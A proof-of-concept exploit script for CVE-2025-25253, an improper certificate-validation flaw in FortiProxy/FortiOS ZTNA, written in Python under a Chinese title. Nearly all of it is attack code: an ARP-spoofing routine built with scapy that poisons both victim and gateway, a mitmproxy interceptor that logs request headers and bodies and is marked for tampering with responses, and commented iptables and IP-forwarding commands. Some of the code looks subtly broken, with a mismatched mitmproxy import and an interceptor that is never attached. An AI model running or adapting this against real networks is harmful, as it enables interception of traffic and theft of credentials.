CVE-2025-25253 FortiProxy/FortiOS ZTNA代理证书验证不当漏洞

# CVE-2025-25253 PoC - FortiProxy/FortiOS ZTNA Certificate Host Mismatch MITM # This PoC demonstrates the concept of exploiting improper certificate validation # in FortiProxy/FortiOS ZTNA proxy via a man-in-the-middle attack. import ssl import socket import threading from mitmproxy import http, options from mitmproxy.proxy import layer, ProxyServer # Step 1: Generate or obtain a valid TLS certificate for ANY domain # (e.g., attacker-controlled domain or a mismatched valid cert) # The vulnerability allows ANY valid cert to be accepted by the ZTNA proxy ATTACKER_CERT = "attacker_cert.pem" ATTACKER_KEY = "attacker_key.pem" # Step 2: Set up MITM proxy to intercept ZTNA connections class ZTNAInterceptor: def __init__(self): self.intercepted_data = [] def request(self, flow: http.HTTPFlow) -> None: """Intercept and log ZTNA proxy requests""" print(f"[*] Intercepted request to: {flow.request.host}") print(f"[*] Headers: {dict(flow.request.headers)}") self.intercepted_data.append(flow.request.content) def response(self, flow: http.HTTPFlow) -> None: """Intercept and tamper with ZTNA proxy responses""" print(f"[*] Intercepted response from: {flow.request.host}") # Attacker can modify response data here (Integrity impact: High) # flow.response.content = b"<malicious_payload>" # Step 3: ARP spoofing or network positioning to become MITM # (Required due to AV:A - Adjacent network attack vector) def perform_arp_spoof(target_ip, gateway_ip): """ Use scapy or arpspoof to position attacker as MITM between victim and FortiProxy/FortiOS ZTNA gateway """ from scapy.all import ARP, send, Ether # Tell target that we are the gateway packet_target = Ether(dst="ff:ff:ff:ff:ff:ff") / ARP( op=2, pdst=target_ip, psrc=gateway_ip ) # Tell gateway that we are the target packet_gateway = Ether(dst="ff:ff:ff:ff:ff:ff") / ARP( op=2, pdst=gateway_ip, psrc=target_ip ) send(packet_target, verbose=False) send(packet_gateway, verbose=False) print(f"[*] ARP spoofing: {target_ip} <-> {gateway_ip}") # Step 4: Start MITM proxy with mismatched certificate def start_mitm_proxy(): opts = options.Options( listen_host="0.0.0.0", listen_port=8080, ssl_insecure=True, # This is the key - accepts certs with host mismatch ) interceptor = ZTNAInterceptor() server = ProxyServer(opts) print("[*] MITM proxy started on port 8080") print("[*] Waiting for victim to connect to ZTNA proxy...") server.run() if __name__ == "__main__": print("=" * 60) print("CVE-2025-25253 - FortiProxy/FortiOS ZTNA MITM Exploit") print("Improper Certificate Host Mismatch Validation") print("=" * 60) # Configure IP forwarding # echo 1 > /proc/sys/net/ipv4/ip_forward # Step 1: Position as MITM in adjacent network # perform_arp_spoof("192.168.1.100", "192.168.1.1") # Step 2: Redirect ZTNA traffic through our proxy # iptables -t nat -A PREROUTING -p tcp --dport 443 -j REDIRECT --to-port 8080 # Step 3: Start intercepting # start_mitm_proxy() print("\n[*] Vulnerability: ZTNA proxy does not validate certificate hostname") print("[*] Impact: Unauthenticated MITM can intercept and tamper connections") print("[*] CVSS: 7.5 HIGH | AV:A/AC:H/PR:N/UI:N/C:H/I:H/A:H")